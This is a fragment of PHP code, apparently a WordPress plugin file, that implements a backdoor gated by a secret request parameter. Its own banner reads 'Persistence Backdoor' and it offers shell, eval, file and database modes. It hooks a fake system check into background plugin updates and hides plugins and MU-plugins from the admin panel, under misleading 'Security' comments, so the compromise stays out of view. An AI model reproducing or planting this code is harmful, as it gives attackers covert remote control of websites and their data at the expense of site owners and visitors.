if (isset($_REQUEST["sys_check"]) && $_REQUEST["sys_check"] === "rsfeXRPF6azf") {
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            $db_name = isset($db[1]) ? $db[1] : "";
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                $conn->close();
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    // INFO
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        echo "User: " . get_current_user() . "\n";
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        echo "Allow URL Fopen: " . (ini_get("allow_url_fopen") ? "ON" : "OFF") . "\n";
        exit;
    }
    
    echo "=== Persistence Backdoor ===\n";
    echo "Available: shell, eval, file, db, info\n";
}


function fake_system_check() {
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}
add_action("wp_update_plugins_background", "fake_system_check");



// Security: Disable remote access
add_filter("xmlrpc_enabled", "__return_false");
add_filter("xmlrpc_methods", function($methods) { return array(); });

add_filter('show_advanced_plugins', '__return_false', 999);


// Hide specific plugins from admin panel
add_filter("all_plugins", "hide_specific_plugins");
function hide_specific_plugins($plugins) {
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    foreach ($hide_list as $hide) {
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}

// Hide MU-plugins if visible
add_filter("show_advanced_plugins", function($show) { return false; });
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